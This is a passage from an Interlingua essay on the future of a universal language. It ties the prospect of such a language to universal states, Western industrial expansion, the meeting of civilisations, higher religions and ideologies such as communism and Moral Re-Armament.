cultural, como le USA, Canada, Swissa, le USSR. In le historic passato le introduction official del lingua franc satis matur como lingua official del Stato Universal veniva effectuate sempre per un federation stricte de statos habente un supreme guida potente. Le STATOS UNIVERSAL, sumer-akkadian, medo-persian, hellenic e roman es exemplos convincente, como nos ha viste in le secunde parte de nostre studio presente.\nLe UNO non ha le poter de introducer un lingua universal. Tampoco UNO pote transformar se in un federation stricte - ante que le super-potentias deveni socialmente, economicamente e culturalmente tanto simile quanto illes ja son in tecnologia et industria, e supposite que le potentias vole cooperar vice perseverar in lor non-cooperation nonviolente. Nam serve a nullo declarer pacifismo si nemo - grandes e minimes non son preste a sacrificar un grano de lor soveranitate.\nTosto o tarde le humanitate va recognoscer que renunciar a un parte del soveranitate es un mal minor que un guerra nuclear. - Le historia demonstra, que le violentia non es un ingrediente organic del natura human, ma es plus tosto un mal habitude. Le \"seculos de pace\" inaugurate per Statos universal post seculos de guerras regional, es prova conclusive que le homines pote abandonar lor mal habitudes et egoismo violente.\nMahatma Gandhi ha demonstrate, que on pote realisar revolutionari cambiamentos politic sin recurso al violentia. Lassa nos sperar que le humanitate va preferer submitter se al necessari minimo de un soveran autoritate universal nucleari, a un controlo autoritative benevolente.\nVision realistic\nLe explosion numeric del racia human constringe nos a planar in scala mundial le production e distribution de ALIMENTOS e del ENERGIA. Pro facer lo in modo efficiente nos debe transferer anque le soveranitate super agricultura, elevation de bestial e pisca a un autoritate universal con competentias analoge al soveranitate nucleari. Le plus competente physicos (inter illes Edward Teller, patre del bomba de hidrogeno), es convicte que, post alcun decennios, on poter... controlar le meterologic tempore e facer pluvia o siccitate, secundo le necessitate del agricultura, turismo etc; Evidentemente nos va evitar le periculo, que nationes regula le pluvia e siccitate a lor avantage e al disavantage de altere nationes. Dunque il essera necesse establir un soveran autoritate meteorologic universal, le qual, in collaboration con le autoritate alimentari, va regular pluvia e siccitate pro assecurar le maximal production del agricultura.\nSimilemente il va esser inevitabile instituer organisationes universal pro economia rational del metallos rar, pro evitar perditas evitabile, organisar reciclo e recuperation de elementos rar e simile coses.\nCommunicationes e transportos mundial ha jam in large mesura organisationes practic que regula la navigation e le aviation. In ambe este dominios le lingua anglese domina toto, e va dominar ancora longe tempore, malgrado que le British Empire ha perdite su effective potentia.\nMundial organisationes non eveni ex un specie de un super-stato, ma de un libere convention, assi le Cruce Rubie post le 'convention de GenŠve' 1864, post initiativa human de Henri Dunant. Le monumento del Union Postal Universal a Berna monstra anno 1874. Multe organisationes mundial habeva initio in le tempore del Societate del Nationes post le prime guerra mundial; certes supervive e vive hodie sub le patronage del Nationes Unite, assi le Bureau International del Labor a Geneva (Swissa).\nImmense numero de organisationes mundial o quasi universal existe concernente omne activitates human. Sport, professiones, salute public sub le Nationes Unite como le union re radiodiffusion.\nOmne organisationes con activitate supra le limites del lingua o de paises, son prime grados, son elementos pro un federation regional o mundial. Jam in modeste activitates supranational on observa, quante energia es perdite per traduction in plure linguas; quanto facile resulta ambiguitates; malcomprensiones eveni ex traductiones difficile. Personas qui labora in o pro medios multilingual recognosce quanto le vita material e spiritual poterea profitar per le existentia e per le uso de un lingua universal correspondente a nostre civilisation.\nFinora necun stato e necun lingua era absolutemente universal. Le historic Statos Universal ha unite solmente un parte del terra - ben que le parte maxime civilisate e le plus importante, durante que, ultra le confinios del Stato Universal, numerose altere statos e linguas franc existeva. Totevia, in nostre epoca, le prime vece in historia, nos ha le possibilitate de establir un governamento composite del soveran autoritates universal. Le Statos Universal del passato era establite per conquesta militar. Nonobstante, hodie un conquesta militar del mundo non es possibile sin pagar le precio prohibitive de un devastation total del mundo - e necun grande potentia vole pagar este precio. Le sol alternativa al extermination reciproc es le cooperation. De altere parte, le conquesta militar non es le sol medio pro establir Statos e linguas universal. Le developpamento de communicationes material e spiritual produce un crescente consenso de mentalitates, sentimentos e voluntates, proque le contactos e communitates rende le populos familiar le unes con le alteres, a traverso le traditional barrieras inter societates e culturas differente. Sin tal con senso, in le passato per le conquesta militar sol, necun Stato Universal poteva esser establite e mantenite - como nos apprende ex le historia del rapace conquisitiones del HUNNOS, del TARTAROS e simile efemere conquestas de grande partes del mundo.\nULTERIOR EVOLUTION de STATO e LINGUA UNIVERSAL\nQuando le populos suffre troppo per guerras, revolutiones e anarchias, illes arriva al conviction que continuar guerras es un mal multo plus grande que renunciar a certe soveranitates, que separa le populos. Este conviction era in omne tempores le principal base del Statos Universal, le quales terminava le guerras, revolutiones e anarchias e introduceva pace, ordine e bon administration. Assi, le Statos Universal es le vehiculos institutional del ambition human de viver in pace e ordine. Tal conviction deveni sempre plus forte in le tote mundo.\nIn le mesme tempore le non-occidental populos occidentalisa sempre plus lor cultura e lor structura sociel. In tal maniera on prepara le fundamento de un societate ecumenic, con cultura uniforme e lingua universal. Este cultura e lingua ecumenic va unir le hereditages cultural e lingual del populos occidental e non-occidental con preponderente del hereditage occidental. Nos va haber le Stato Universal Ecumenic, con un lingua universal ecumenic, imbraciante le tote terra.\nLe Stato Universal, un vece establite, conquire le corde del populo, proque, post un periodo de tribulation quasi insupportabile, le Stato Universal realisa le desiro de omnes: PACE, ORDINE E BON ADMINISTRATION.\nTotevia, le Stato Universal era sempre un CARGA pesante al economia, proque le Stato Universal require un grande armea professional (pro defender le confinios) e besonia tamben un servicio civil multo grande e ben pagate. In le passato le costo del armea e del servicio civil era in augmento continue, pro que le barbaros, ultra le frontieras, augmentava lor population e deveniva plus e plus aggressive. Pois in le Statos Universal tamben le autogovernamento local decadeve, nam le Stato Universal debeva reservar pro se mesme le commando super le policias local. Assi, le Stato Universal debeva assumer anque un grande parte del governamento local. Usque ora necun Stato Universal poteva supportar le crescente costos del defensa e del administration, sin augmentar le productivitate economic.\nIntertanto omne Statos Universal historic era basate super le economia agricultural static quasi sin progresso tecnologic e sin augmento del productivitate in un mesura necessari pro coperir le cargas financiari in continue augmento. Dunque le Stato Universal, tosto o tarde, arriva a un collapso economic - e, in consequentia, tamben al collapso politic, militar et administrative.\nPer fortuna, in NOSTRE EPOCA, le situation ha cambiate in fundo. In grande partes del mundo, non le agricultura, ma le INDUSTRIA es le base plus efficiente del economia - e le industria augmenta su productivitate forte- e continuemente. Assi, le economia trova se in expansion continue. Le experientia del due guerras mundial de nostre seculo - guerras phantasticamente expensive - demonstra, que le paises maxime industrialisate (USA e Grande Britannia) pote supportar, sin collapso, un carga, que le pre-industrial economias agricultural non poteva supportar.\nEste experientia es multo instructive pro nos, qui vole comprender nostre situation babylonic e prognosticar le developpamento del lingua universal futur.\nNos ha viste que le lingua universal supervive le collapso del Stato Universal durante seculos, pois dissolve se in linguas regional.\nOra, le costo del Stato Universal (per exemplo: in forma de soveran autoritates universal) inglobante tote le terra, - le costos va esser altissime. Specialmente immense va esser le expensas necessari pro adjutar e industrialisar le statos regional subdeveloppate. Nonobstante, si un nove Stato Universal forma se, le expansion del productivitate industrial e le mecanisation del agricultura pote pagar un parte del costos del administration e del melioration.\nQuanto le mundo sera unite e in nulle parte son barbaros menaciante frontieras, le costos pro le armea va diminuer, e le Stato Universal pote maner stabile durante tempore indeterminate.\nTamben le lingua universal de tal Stato Universal pote remaner in floration e developpar se con le cultura del Stato Universal, Nos arriva al resultato que le productivitate economic es le supreme base pro le superviventia e floration del lingua universal. - Assi nos crede a un prognostico satis bon pro le lingua universal in fin de nostre seculo.\nUn characteristica de CIVILISATION CONTEMPORAN es le DISUNITATE POLITIC, in contrasto a su quasi - unitate cultura, e a su latente unitate linguistic consequentia del unitate cultural. Nos pote observar le mesme phenomeno in le civilisationes de SUMERIA e de GRECIA. Le disunitate politic es un grave impedimento al introduction del lingua universal. Solmente quando HAMMURABI e PHILIPPO de Macedonia habeva create le unitate politic in Sumer-Akkad e Grecia, le akkadiano e le koin, grec poteva devenir linguas universal. Analogicamente, in nostre epoca il es necessari vincer le resistentias del nationalismo, que impedi le creation de autoritates supra- national. Le semine el dracon es ancora con nos, como nos ha viste in cap. II\/14 del studio presente.\nFelicemente le nationalismo divisive es hodie contrabalanciate per le fortia unificante del tecnologia, industria e general cultura occidental, in tanto que le non-occidentales accepta con entusiasmo le tecnologia, industria e general cultura occidental. Certo le non-occidentales non va renunciar al tecnologia, industria e general cultura occidental; certo illes va preferer renunciar al fortia opposite: al nationalismo regional. Nos pote prognosticar un mundo conjuncte e unite sempre plus strictemente per le diffusion del tecnica, industria e general cultura occidental. - E este conjunction e union va trovar expression politic in le creation de soveran autoritates superior, al quales grande parte del soveranitate del statos regional potera esser transferite. Poco a poco le hodierne culto del statos regional va regressar.\nLe homines va sentir le resultatos benefic del activitates de soveran autoritates. A longe vista le tendentia al unification va dominar le nationalismo regional. Le sol antidoto secur contra le nationalismo es le universalismo in un stato multi-federal tolerante.\nLe consequentia inevitabile del EXPANSION es le incontro de civilisationes. Ex tal incontros nasce \"civilisationes\" de plus alte classe, civilisationes spiritual: RELIGIONES SUPERIOR, como le christianismo, (que emerge ex le incontro inter syriaco-aramaic e hellenic civilisation. Tamben ex le incontro del civilisation con un religion superior emerge un nove realitate spiritual: le IDELOGIA, que es le tentativa de resolver le problemas create per le civilisation. Ex le incontro del civilisation material-capitalistic occidental con le christianismo nasce due ideologias: un materialistic e violente (le communismo) - un altere, moral e non-violente (le REARMAMENTO MORAL. Nos va tractar les in le cap. 8.\nLe ECCLESIA UNIVERSAL es le incarnation de un religion superior. Religiones et Ecclesias superior ha demonstrate se como multo stabile, contra que le civilisationes es minus stabile. Le archeologia e le historia ha identificate plus que vinti civilisationes, del quales solo cinque es vive. Pare dunque, que le futuro del humanitate e del lingua universal e le lingua universal non va esser determinate per le relativemente instabile civilisationes, ma plus tosto per le multo stabile religiones e ideologias superior, le quales demonstra un capacitate surprendente de adaptar e modificar se.\nReligiones et ideologias superior es missionari, dunque ambes besonia le lingua universal, pro poter parlar ad omne populos.\nNos debe distinguer DUE TYPOS de incontros inter civilisationes: O le tecnologia e le fortia es multo differente, o le differentia non es multo importante.\nQuando un civilisation debile incontra un civilisation multo plus forte, le civilisation debile pote comportar se: o in modo conservatori, o in modo modernisatori. Le modo conservatori, in facie de un adversario multo superior, es suicidal. Dunque, quasi in omne casos historic, le civilisation debile cerca ad acquirer le tecnologia militar del aggressor, accompaniate inevitabilemente per le expression linguistic de este tecnologia. Totevia, le acquisition del tecnologia non es sufficiente: il es necesse fabricar le armas etc. in le proprie pais. Dunque il es necesse developpar le industrias de armamento, e le industrias pesante pro alimentar le industrias del armamento - pois tamben altere industrias pro le numerose accessorios de un armea e de un industria de armamentos, - con correspondente adoption del terminos linguistic.\nSuccessivemente on debe developpar le production de materias prime pro omne industrias, in quanto trovabile o producibile in le proprie territorio; del resto on debe organisar le importation del materias prime o semi-fabricatos non disponibile in le pais proprie. Totevia importationes debe esser pagate per exportationes: dunque on debe developpar le production de merces pro exportation. In plus, on debe educar le personal necessari: ingenieros, obreros, commissos etc. - dunque on debe crear un sistema de education special. Inevitabilemente on debe assecurar le sanitate del personal e de lor familias - dunque on debe crear un adequate sistema sanitari, le qual require nove industrias e importationes. - Ultime non minime: on debe construer - non solo fabricas ma tamben casas pro le personal, stratas, ferrovias e naves pro mover le material e le merces.\nIntertanto nos sape, que le industria de construction require un vastissime gamma de materias, semi-fabricatos e fabricatos special - dunque altere, nove industrias, con le correspondente invasion de terminos tecnic estranie. Nos pote continuar este sequentia ancora longe tempore, ma nos crede que le poc exemplos basta pro comprender, que le civilisation difficile a modernisar debe initiar un revolution industrial e linguistic pro balanciar le superioritate tecnologic del adversario. Totevia, le historia insenia nos que le revolution industrial non remane limitate al industria et al vita economic, ma revolutiona tote le vita, pensamento e lingua del populo. Tosto o tarde, le populo economicamente revolutionate secundo le modello de un civilisation estranie, comencia a pensar como le populo, que ha fornite le modello pro le revolution industrial.\nIn NOSTRE EPOCA nos comencia a vider le mesme phenomeno in USSR e altere statos industrialmente revolutionate secundo modellos occidental (american): Le populo demanda le spirito plus liberal e plus democratic del occidente. Ya, tamben qui vole restringer le modernisation al tecnologia, debe adoptar presso a poco tote le civilisation superior del modello-adversario - e non solo materialmente, ma tamben spiritualmente.\nTotevia, este mimetismo ha su limites. Anque un civilisation debile ha sempre un certe talento creative, ben que latente. Tamben arriva un imitator, tosto o tarde, a developpar nove ideas pro crear modellos melior, al minus in certe campos - como nos vide le developpamento industrial del USSR secundo modellos american. Pois, tamben le civilisation superior va esser influentiate e sensibilemente transformate per le industrial revolution del civilisation debile.\nAssi, on va haber un dar e reciper, e le due civilisationes va haber un excambio de cultura e de lingua. Le civilisation debile, con le industrias inseniate per le civilisation multo plus forte, recipe et assimila un parte considerabile del lingua del civilisation inseniante. Le inseniante mesme apprende le elementos del lingua de su discipulos. Le resultato va esser un LINGUA FRANC. Assi, le incontro del civilisationes favora le nascentia del linguas franc.\nOra, quando le civilisation occidental incontra le altere quatro civilisationes e cerca assimilar les, un gamma de linguas franc comencia a emerger. Como le civilisation occidental es multo plus forte, le elemento occidental va prevaler in le emergente linguas franc. Assi, le character occidental del emergente lingua universal es inevitabile.\nNOSTRE CIVILISATION OCCIDENTAL ha un etate de circa mille trecento annos; su grande expansion e incontro global con le non-occidental civilisationes es introducte per le grande viages ultra-oceanic de COLOMBO, MAGELLAN, VASCO da GAMA etc. Le civilisation occidental impone se al non-occidental sempre plus, e occidentalisa le mundo, non solo tecnologicamente, ma anque in le sector cultural e linguistic.\nAssi, le civilisation occidental subverte le non-occidental civilisationes quasi completemente. Totevia, le historia del incontros de civilisationes insenia nos, que, post le subversion, le civilisationes retrova lor equilibrio, tosto o tarde, e comencia le reaction contro le subversion con un contra-attacco. Le civilisation occidental ha causate le subversion del grande civilisationes de RUSSIA, de CHINA, de INDIA e del ISLAM, sin contar le debile civilisationes de Sud-America.\nOra, le civilisation de RUSSIA, relativemente juvene e fortemente occidentalisate, ha passate al contrattacco: ha adoptate le doctrina occidental del marxismo, ha transformate lo in le ideologia del communismo, e ha conquisite ideologicamente un grande parte del mundo, incluse un parte del dominio del civilisation occidental.\nTamben le reaction de CHINA comencia - e le reaction chinese va esser probabilemente multo forte, perque CHINA possede un longissime e ininterrupte tradition cultural, con un grande fortia e capacitate de penetration.\nTamben le subcontinente de INDIA, con antiquissime civilisation evelia - e su reaction va esser forte e profunde. - Ultime non minime, tamben le civilisation del ISLAM comencia a reager vivacemente. Islam es coetan con le civilisation occidental e ricchissime in tradition cultural; su reaction va esser multo sensibile.\nLe reactiones cultural del civilisationes non-occidental va, sin dubita, transformar le civilisation occidental in un modo comparabile al transformation del civilisation hellenic (greco-roman) per le contrattacco religiose-spiritual del civilisation syriaco-aramaic (christianismo). Con le penetration de valores non-occidental in le civilisation occidental, tamben elementos linguistic non-occidental va penetrar. Le resultato de este transformation va esser le fusion del civilisationes occidental e non-occidental. Le elaboration del fusion va durar, secundo le experientia historic, longe tempore. Le elaboration del incontro del civilisationes syriaco-aramaic e del hellenic durava mille sex cento annos - fin que ambes perdet lor identitate, et ex lor fusion nascet le civilisation occidental christian. - Ora, le expansion global del civilisation occidental comenciava ante circa cinquecento annos. Le probabilitate historic es que le elaboration del incontro inter civilisationes occidental e non-occidental va durar ancora circa un millennio. Qui cognosce le enorme difficultates inter Oriente et Occidente - le consequentia del incontro del civilisationes - pote creder que longissime tempore va esser necesse pro unir omne civilisationes in un civilisation e Stato Universal ecumenic. Totevia, nos sape, que le libere voluntate del homines pote portar decisiones surprendente, si que nos pote sperar, e debe sperar, que le unification del mundo va esser realitate plus tosto.\nAnte cinquecento annos, quando le civilisation occidental comenciava su expansion, le latino functionava ancora como lingua universal. Hodie le latino, como lingua universal, es presso a poco extincte. Inter tanto, le substantia del latino continua a expander in le terminologia scientific, tecnologic etc., et invade omne linguas cultural del mundo, como efficientissime factor del occidentalisation cultural. Un grande parte del tresor de parolas commun in le linguas occidental, es commun tamben in le linguas non-occidental. Assi, le nucleo del nove lingua universal es in stato de nascentia.\nCap. 8 - RELIGION, IDEOLOGIA E LE FUTURO DEL LINGUA UNIVERSAL\nNos ha studiate le influentia del civilisation super le futuro del lingua universal. Intertanto, nos ha viste, que le religiones son un specie de civilisationes spiritual, e como tales habe un immense influentia sur le futuro del lingua universal. Pro vider clar, nos debe studiar a fundo le essentia e le dinamismo del religion - insimul con le ideologias, que constitue le fide de multitudes plurilingue, a quales manca lor lingua universal.\nIn le capitulo precedente nos ha viste, que ex le incontro de civilisationes nasce religiones superior. Judaismo e zoroastrismo emerge ex le incontro de syriaco-aramaic con neobabylonian (= tardive sumer-akkadian) civilisationes. Buddhismo Mahayana e hinduismo emerge ex le incontro del indian e hellenic civilisationes. Christianismo et Islam resulta ex le incontro inter hellenic e syrio-aramaic civilisationes.\nTamben ex le incontro inter civilisationes e religiones superior resulta - secundo le observation del autor del presente studio - un nove realitate spiritual: le IDEOLOGIA. Le defectos del mecanismo economic del civilisation, le egoismo del 'beati possidentes', egoismo del classes possedente-dominante, crea miseria e suffrentia pro le grande majoritate non-possedente e subjecte - in crasse contradition al principios humanitari del religiones superior. Le ideologia nasce ex este contradiction. Le ideologia es un tentativa de remediar radicalmente este miserias e suffrentias e de resolver le problemas del societate human.\nAssi, ex le incontro del elementos inhuman del civilisation materialistic moderne e del humanitari elementos del christianismo, due IDEOLOGIAS son nate: le socialismo-communismo e le Moral Rearmamento (MRA).\nLe socialismo-communismo propone un solution materialista e violente (le expropriation, destruction, extermination del classe capitalista); le Rearmemento Moral MRA propone un solution spiritual e non-violente (le cambiamento moral de omnes). Con altere parolas, le socialismo considera le problema como de natura physic, material et economic, si que le problema debe trovar solution per cambiamento del structura economic del societate. In vice, le MRA considera le problema como de natura moral, si que le problema debe trovar solution per cambiamento moral del homines, per le creation de un nove typo de homine, dominate per principios moral, in vice de interesses material.\nOra, como nos ha viste, le civilisationes son multo minus stabile que le religiones superior. Ex le al minus vinti civilisationes historic, solmente cinque es ancora vive. Al contrario, omne religiones superior, nate ex le incontro de civilisationes extincte, es ancora vive. Le instabilitate del civilisationes es causate per fallimentos de natura moral, malgrado lor successos material, como nos ha viste in le secunde parte de nostre studio. Al contrario, le stabilitate del religiones superior es fundate sur lor successos moral, nonobstante lor insufficientias formalistic e filosofic. Dunque un ideologia moral, libere de formalismos e filosofias hodie inacceptabile, promitte un stabilitate altissime. Le consequentia de este factos es immense pro le humanitate: le parte predominante del futuro va esser determinate per stabile religiones et ideologias superior. Ora, religiones et ideologias superior es missionari e global - vole parlar a omne homines in omne partes del mundo - dunque besonia un lingua universal. In tanto, tamben le futuro del lingua universal va esser fortemente determinate per le communitates religiose et ideologic.\nLe precursor del religion superior es le religion primitive, que connecte, reuni le membros de un communitate local o regional e ha un etos e un vision solmente local-regional. Le religion primitive consiste in complir collectivemente certe ceremonias e precarias collectivemente con altere correligionarios, sin un communion personal (individual) con le Transhuman Presentia Spiritual. Le primitive religion es un parte esoteric e inseparabile del vita collective del communitate local o regional. Tal religion non ha significato pro non-membros del communitate, e tampoco non cerca a conquirer estranieros - dunque non besonia un lingua universal. Le religion superior al contrario porta le homine como individuo, in communion directe con le Transhuman Presentia Spiritual. Durante que le religion primitive es un parte inseparabile de un cultura special, le religion superior es sempre un evasion (plus-minus complete) ex le particular etos del societate, in le qual le religion superior emerge. Dunque le nascentia del religion superior apporta le distinction (anteriormente incognite) inter 'religiose' (pertinente al religion superior) e 'secular' (pertinente al societate, ex le qual emerge le religiones superior) - et apporta tamben le analogic distinctiones inter 'spiritual' e 'temporal' 'sacre' e 'profan'. Le religiones primitive non cognosce este distinctiones. Le religiones primitive contine multe elementos non-religiose. Un religion non pote esser liberate del elementos non-religiose, sin esser separate del societate. Totevia nulle forma de religion pote subsister sin un vehiculo social.\nLe fideles de un religion superior debe incorporar se in un nove societate, independente del societate, in le qual es nate le religion superior. Le correligionarios habe in commun le vision universal del Spirito Transhuman, o Fortia Creative. Este vision universal connecte, este vision universal approxima e liga le correligionarios disperse in le tote mundo, e illes senti le impulso interior de entrar in relation e association con omne homines, qui habe le mesme vision del Spirito Transhuman. De plus, illes mesme desira communicar lor vision a omne homines in omne partes del mundo. Tal es le natura human: nos desira mitter in commun con le alteres nostre tresor spiritual. Per consequente, le fideles de un religion superior constitue un nove specie de societate, le qual es, per su natura, missionari: le Ecclesia Universal. Le activitate missionari imbracia le tote mundo, si que le Ecclesia Universal adopta un lingua universal, e deveni un principal promotor del diffusion del lingua universal.\nTotevia, necun religion superior ha successe, finora, in conquirer le tote mundo. Nos ha quatro GRANDE RELIGIONES SUPERIOR: CHRISTIANISMO, ISLAM, HINDUISMO e BUDDHISMO. Ora nos ha tamben le BAHAISMO - simile al Islam e al Christianismo in le mesme tempore - un religion superior con milliones de fideles, religion que ja ha le programma de adoptar un lingua universal. Le linguas del diverse Ecclesias Universal non es commun, perque, in nostre tempore, nos non ha un lingua universal. Dunque le Ecclesias Universal continua a usar lor antique linguas liturgic (latino, koin', arabe antique, sanscrito.) Un lingua universal commun pro omne Ecclesias Universal va promover lor avicinamento in amicitia, in interreligiose amicitate ecumenic.\nLe grande civilisationes non produce grande religiones superior como subproducto cultural. Al contrario, le grande religiones superior es le fundationes, super le quales le grande civilisationes son constructe. Nos non pote crear un religion durabile per medios rational. Le fallimento de Juliano Apostata, e del nobilissime tentativa de Ikhnaton es instructive. Religion nasce ex intuition et inspiration de animas successe per grande catastrofes - e sensibilisate per le inspiration transhuman - in consequentia del collapso de un grande civilisation habituate et amate.\nLe ration de esser del religion superior non es servicio de institutiones non-religiose, como le stato, le sistema socio-economic etc. Quando un religion permitte de esser usate pro scopos non-religiose, un parte de su fideles considera lo como sacrilegio, como falsification del scopo del religion, e passa al secession pro conservar le character strictemente spiritual del religion: le communion con le Transhuman (Presentia) Spiritual. Le attitude utilitari del religion es false. Religion es un scopo per se, proque religion concerne cosas plus importante pro esseres human que non importa qual altere cosa in le mundo. Tal es le explication del secessiones ex le ecclesias establite e, tamben, del nascentia de nove ideologias.\nNos ha viste que le mission de un religion superior es le connexion del individuo human con le Transhuman Presentia Spiritual. Le connexion del individuo con altere individuos es le consequentia indirecte del connexion del individuo con le Transhuman Presentia Spiritual. Le commun characteristica del religiones superior es le credentia que omne homines son creaturas del Transhuman Presentia Spiritual, qui ama le homines como filios; dunque omne homines son fratres e non existe personas e populos privilegiate. De plus, le religiones superior insenia que le Transhuman Presentia Spiritual es plen de misericordia e de compassion pro omne homines - que omne homines pote arrivar a un interior vision del Transhuman Presentia Spiritual, e pote entrar in communion con Ille, pro que le capacitate de tal vision constitue le essentia del natura human. Le vision interior e le voce del conscientia da le conviction, que le experientia religiose superior non es un illusion, ma un realitate del vita human.\nLe contribution del religiones superior al education del humanitate, in le spirito del universalismo, tamben in le spirito de un moral universal es immense. Le spirito del universalismo del Ecclesias Universal es un antidoto efficiente contra le 'semine del dracon' (Cf. cap. II\/14). Ya, le religiones superior es immense fortias durabile, independente del civilisationes peribile, in le quales emerge le religiones superior e ibi son solidemente incorporate in societates independente de un nove specie - societates supernational et universal, qui besonia o ja ha le lingua universal.\nMulte homines son religiose sin sapar lo, sin facer parte de un communitate religiose. Este homines crede que le homine non es le plus alte esser in le universo, ma que existe un Spirito Transhuman, creator de toto. Totevia illes non crede que non importa qual religion superior possede le monopolio de veritate e salvation universal; illes crede, que omne religiones contine un parte del veritate preciose. Nos pote extraher leveritates e principios commun ex le religiones superior e unir les in un IDEOLOGIA. Un tal tentativa es le MORAL REARMAMENTO, constructe super le veritates-principios del HONESTATE, PURITATE, ALTRUISMO e del AMOR PUR. Nonobstante MRA non es un religion, ma un ideologia: illo non occupa se de functiones religiose, ma lassa al communitates religiose le obra de satisfacer le necessitates religiose del homines.\nSuccessos historic del religiones superior ha unite grande partes del humanitate in ecclesias e linguas universal - ma nunca reunite le tote humanitate. Al contrario: Le initial unitate religiose e lingual (specialmente in Christianismo et Islam) veniva disrupte per schismas. Usque al Secunde Guerra Mundial le concurrentia inter et intra le ecclesias era aggressive: cata uno pretende de va esser le sol custode del ver e definitive revelation, e considerava su lingua universal quasi como sancte.\nPer tal exclusivitate le ecclesias superior deveni factores de division del humanitate. Ya, quando cinque ecclesias superior pretende haber le veritate exclusive, il es impossibile, que cada uno ha ration. Este impossibilitate, sentite per le publico, produceva scepticismo contra le pretentiones del religiones superior. Totevia, le scopo de omne religiones superior es le mesme: approximar le homine al Transhuman Spirito, qui crea et anima le phenomenos del universo. Este scopo identic es multo plus importante que le diversitate del stratas conducente al scopo identic.\nLe facto regrettabile, que in le passato le religiones non tolerava e non respectava le un le altere, insimul con le illumination scientific, ha causate un recession sensibile del religiositate. Totevia, le homine non pote viver sin religion - non importa qual specie de religion - proque religion, como nos ha viste supra, es un ingrediente essential del natura human. Per tanto, le recession del christianismo in le occidente provoca le apparition de substitutos de religion in forma de IDEOLOGIAS: nationalismo, individualismo e communismo, le quales son intolerante et exclusive, como le ecclesias era in le passato; nationalismo e individualismo es tamben fortias opposite al universalismo. Grande parte de homines adhere a un ideologia sincermente, durante que illes practica lor religion plus tosto formalmente. - Nos pote dicer, que nos vive in un epoca ideologic.\nLe ideologias non son surrogatos pro le religion superior, proque tamben le homine ideologic senti un fame del eternitate, del vita post le morte - e besonia le assistentia de un religion superior e transcendente, le gual prepara le homine al vita eterne, al communion con le Transhuman Presentia Spiritual. Pois, le corde human ha le desiro de cognoscer qual cosa sta (como principio creative e movente) detra le universo misteriose, in le qual le homine trova se.\nLe mente human, su spirito critic intellectual, sape, que le mente non pote satisfacer le desiro del corde; in vice, le religion superior pretende de explicar le misterio, al minus partialmente, gratias a revelationes inspirate per le Transhuman Presentia Spiritual. Totevia, tosto o tarde, le mente refusa le explicationes contrari al pensata rational, como a partir del secunde seculo a.Ch. in le mundo hellenic, e a partir del deceseptime seculo p.Ch. in nostre mundo occidental. De plus, durante que le pensamento occidental conquire le mundo non-occidental, tote le 'intelligentsia' del statos non-occidental refusa le irrational explicationes religiose - e lo que le intelligentsia pensa hodie, e le multitude va pensar deman.\nDunque nos besonia rational explicationes religiose, credibile al homine moderne e satisfacente pro su fame transcedente. Este incapacitate es un grande chance del religiones pro recuperar le real e sincer adhesion del homines, si le religiones succede in eliminar le profunde causas del attitude sceptic. Le prime causa es le dominante pretension a un poter exclusive de preparer le homine al communion con le Transhuman Spirito. Le secunde causa es le insistentia super dogmatic formulationes incomprensibile al homines de education moderne scientific.\nTotevia, nos debe recognoscer que post le secunde guerra mundial quasi omne communitates religiose commencia a tractar le altere religiones con caritate plus-minus manifeste; un amicitate inter-religiose comencia a nascer. Nonobstante, le problema del dogmatic formulationes remane multo difficile a resolver, pro que le religiones superior considera certe interpretationes de dogmas como lor essentia maxime importante.\nOra, sin esser teologo, le autor del presente studio non pote confirmar le supreme importantia de tal interpretationes, pro que su studios historic demonstra clar que le religiones era propagate per le fundatores e prime pioneros sin tal interpretationes - e que le formulationes dogmatic veniva adjuncte multo plus tarde per le teologos e per considerationes filosofic, sub le influentia de filosofias antique.\nPer exemplo: le teologos christian formulava le dogmas fundamental in terminos del antique filosofias grec, in koine grec, si que illes ha introducte elementos del antique filosofias grec e del spirito del koin' in le expression dogmatic del message de Christo. Il es secur que tal expression era congenial al grecoromanos; ma ora, le filosofia grec non plus es congenial al homine presente, qui ha un filosofia multo differente. In consequentia le expression filosofic del dogmas christian debe esser reexaminate et interpretate in le terminos del filosofia presente, in un lingua moderne scientific.\nLe situation del interpretation dogmatic in altere religiones superior es analoge: omne dogmas son expresse in terminos plus-minus antiquate e non acceptabile per homines de moderne education scientific.\nSi tosto que le religiones va liberar se del interpretationes antiquate, le corde del homines moderne va esser plus vicin al religion, e tamben observatores critic constata que le original message del religiones superior es multo plus simile que le actual interpretationes dogmatic.\nEx contactos personal con sincer adherentes del christianismo, del islam, del hinduismo e del buddhismo, le autor del studio presente ha le experientia positive, que le adherentes de este quatro religiones superior son de complete accordo con le quatro principios moral del Moral Rearmemento (honestate, puritate, altruismo et amor pur) - et insiste que este quatro principios pertine al essentia de lor religiones, secundo le message de lor fundatores. Le causa de este phenomeno surprendente es, que le principios moral non son expresse in notiones e linguas filosofic, ma in simple sententias de lor fundatores, formulate in un lingua universal.\nAssi nos vide que, al minus in campo moral, non se trova admixte antiquate elementos filosofic. Dunque le accordo (al minus partial) con le homine moderne, e tamben le accordo (al minus partial) inter le religiones superior, es possibile. Ergo nos pote concluder, que le abolition del filosofias e del linguistic expressiones antiquate ex le interpretation del dogmas va producer un accordo analoge.\nLe veritate religiose nunca pote esser expresse in forma filosofic e linguistic definitive, ma debe esser formulate, de tempore in tempore, sempre de nove, in terminos filosofic e linguistic contemporan.\nLe humanitate ha le religiones superior desde duemille cinquecento annos. Tanto ha cambiate in le mundo post tante seculos, in le vita, in scientias et in filosofia. Expressiones importante in textos preciose sovente prende nove senso - dunque debe esser reexaminate. Le moderne interpretation debe esser facte in lingua universal pro evitar differentias inter le differente textos national.\nTamben inter religiones e ideologias nos pote observar un certe approximation: Christianismo moderne lucta pro libertate e dignitate del individuo, ma non insiste satis super le justitia social. Communismo lucta pro le justitia social, e neglige le libertate e dignitate del individuo. Ora, le christianismo comencia a insister super le justitia social, e le statos communista face progresso verso un major libertate e dignitate del individuo. Un commun lingua universal pro religiones et ideologias es necesse pro clarification e approximation del ideas.\nLe Ecclesia Universal Catolic senti le necessitate de un lingua universal e passa un bon momento, si id non recommenda le studio in omne planos. Introducente le lingua universal le Ecclesia facerea un passo positive in vision del vintesime seculo, passo exemplari que attirar... sequentias in le mundo positive.\nTamben inter le ideologias diverse, le approximation es un facto complite. Individualismo in su forma capitalista, e communismo in su forma collectivista, approxima se sensibilemente: capitalismo augmenta le planification e le controlo statal, durante que communismo adopta le 'economia del mercato', le concurrentia et altere principios del capitalismo. Nos pote sperar, que, economicamente, le due sistemas pote esser reducte a un commun denominator - specialmente si le comprension plus perfecte va esser possibile per medio 